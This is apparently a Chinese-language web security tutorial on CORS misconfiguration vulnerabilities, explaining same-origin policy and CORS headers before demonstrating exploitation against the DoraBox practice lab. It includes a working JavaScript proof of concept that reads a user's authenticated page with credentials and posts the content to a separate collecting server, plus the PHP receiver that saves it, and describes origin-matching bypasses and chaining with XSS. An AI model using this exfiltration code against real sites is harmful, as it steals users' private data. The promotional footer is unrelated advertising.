一、cors 危害

因为同源策略的存在,不同源的客户端脚本不能访问目标站点的资源,如果目标站点配置不当,没有对请求源的域做严格限制,导致任意源都可以访问时,就存在cors跨域漏洞问题,cors漏洞一般用于窃取用户敏感数据cors错误,如果用户点击触发了恶意页面,就会被窃取数据

同源策略

说到跨域漏洞,那就先要了解同源策略

同源策略用于限制应用程序之间的资源共享,确保一个应用里的资源只能被本应用的资源所访问,如果要跨域通信。

必须要引入跨域资源共享,如果没有正确配置,就会导致漏洞产生

同源是指协议,域名,端口三个都相同,即使是同一个ip,不同域名也不是同源,同源策略里允许发出请求,但是不允许访问响应

同源示例

设源

URL是否同源不同处

同源

路径不同

同源

路径不同

同源

路径不同

不同源

协议不同

:88/a/1234.html

不同源

端口不同

:82/a/1234.html

不同源

端口不同

不同源

域名不同,子域名不算同源

Cros跨域资源共享

这里就要提到Cros跨域资源共享

跨域资源共享是一种放宽同源策略机制,允许浏览器向跨源服务器发出请求,绕过同源限制,可以跨域获取数据,一般是通过http里增加字段来限制跨域访问资源,限制特定的来源的服务器访问

一般使用头协议里的两个关键头字段

页面请求数据 Origin

这个Origin 一般用于表明请求的来源位置,表明该请求来源于那里,格式为 请求协议+域名+端口

页面响应数据 Access-Control-Allow-Origin

这里一般用于表明哪些域的请求是允许的,表明允许那里的请求

Access-Control-Allow-Origin这里有不同的设置

当设置为时,代表允许任意请求访问资源 例如 Access-Control-Allow-Origin:

一般会指定一个域,允许该域访问,例如 Access-Control-Allow-

Origin::80

也有特殊情况,当Access-Control-Allow-Origin设置不固定,通过根据用户的跨域请求来设定,此时和设定为*没什么区别,任何网站都可以获取该服务端数据了

Access-Control-Allow-Origin也有其他相关的一些头字段,例如

Access-Control-Allow-Credentials: 当它设置为true时cors错误,允许跨域请求可以包含cookie

Access-Control-Allow-Headers: 允许跨域请求发送额外的head字段

Access-Control-Allow-Methods: 允许跨域请求的方式,表明服务器支持的跨域请求方法

Access-Control-Max-Age: 指定本次请求的有效期

这里cors请求又分简单请求和非简单请求

简单请求:

简单请求就是浏览器直接发出cors请求,就是在头信息中直接加个Origin字段

非简单请求

非简单请求就是在正式请求之前,先进行预检请求,询问服务器该域名是否在服务器可请求名单中,得到答复后再执行

简单请求和非简单请求不影响漏洞,漏洞产生原因在于没有对请求源做严格限制

二、漏洞产生原因

配置不当,没有限制请求的源,例如Access-Control-Allow-Origin 设置为*,允许任意源请求访问 ,或设置请求源的域名没有完整,没有对请求源的域做严格限制,导致任意源都可以访问,造成跨域问题

实列

例如某一站点没有对请求源的域做严格限制,这时候攻击者制作一个恶意页面让目标去点击,目标点击后攻击者就可以获取到当前目标所在页面的信息

三、利用方式

cors 使用了错误的通配符

该漏洞有三种利用方式

第一种为当Access-Control-Allow-Origin设置为通配符* 允许任意源请求时

测试环境

这里使用Dorabox这个靶场来测试

首先我们访问页面

这里是模拟了我们正常的用户访问页面所返回的,这里我们抓包看下

抓取数据包,发现这里的Access-Control-Allow-Origin里参数为* ,说明这里并没有指定域访问,我们可以进行cros攻击

为什么我们的请求包里没有Origin这个字段呢?

这里是因为数据包里默认不显示

如果要查看请求包里的Origin的话,可以在burp里设置

Match and replace里加载origin相关选项

这里漏洞要如何利用呢,我们可以构造一个exp,像csrf那样,发送钓鱼网站链接,读取用户的数据

测试代码如下




function loadXMLDoc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange=function()
{
if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
{
var datas=xhr.responseText;
alert(datas);
}
}
xhr.open("GET","http://192.168.1.81/DoraBox-master(1)/DoraBox-master/csrf/userinfo.php","true")
xhr.send();
}
loadXMLDoc();


这个poc效果为读取目标页面的信息并以弹窗的形式返回读取到的页面内容

效果如下

成功读取到了内容

那么,我们要怎么去更好的利用呢,实际使用的话,我们可以去读取目标页面内容并返回到一个额外的页面上

测试代码如下




function re()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.open("GET","http://192.168.1.81/DoraBox-master(1)/DoraBox-master/csrf/userinfo.php","true")
xhr1.withCredentials = true;
xhr1.send();
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200)
{
var datas=xhr1.responseText;
xhr2.open("POST","http://192.168.1.81/test/2.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("cc="+escape(datas));
}
}
}
re();


读取页面内容并通过php文件把内容写到一个额外的文件上

php 里的内容

<?php
$file=fopen("3.txt","w+");
$res=$_POST['cc'];
fwrite($file,$res);
fclose($res);
?>

测试效果如下

使用不完整的域名去匹配

第二种利用场景,错误匹配了不完整的域名

当后端验证使用了不完整的域名时

例如

if (@$_SERVER[‘HTTP_ORIGIN’] == ‘*fangwen.com’){

这样的不完整域名时,说明目标域信任以fangwen.com 为结尾的所有源的访问

这时可以通过抓包修改请求的源,例如 asdvbnjfangwen.com 去访问,达到绕过效果

或者可以在服务器上弄一个末尾带有fangwen.com的新域名去制作一个恶意站点来利用

结合xss使用

第三种利用场景,结合xss使用

cors结合xss使用

一般使用情况下,如果这个主域信任子域,而子域存在xss漏洞,那么可以通过子域的xss漏洞,去读取主域里的敏感信息

当然也可以同一网站下不同网页里进行,只要同源就行

可以直接套用前面的Dorabox的环境

在xss漏洞出插入poc,得到弹窗,读取到了内容

回顾往期内容

扫码白嫖视频+工具+进群+靶场等资料

cors 跨域 和用户验证_cors错误_cors跨域 设置header

扫码白嫖!

还有免费的配套靶场、交流群哦!

限时特惠:本站每日持续更新海量设计资源,一年会员只需29.9元,全站资源免费下载
站长微信:ziyuanshu688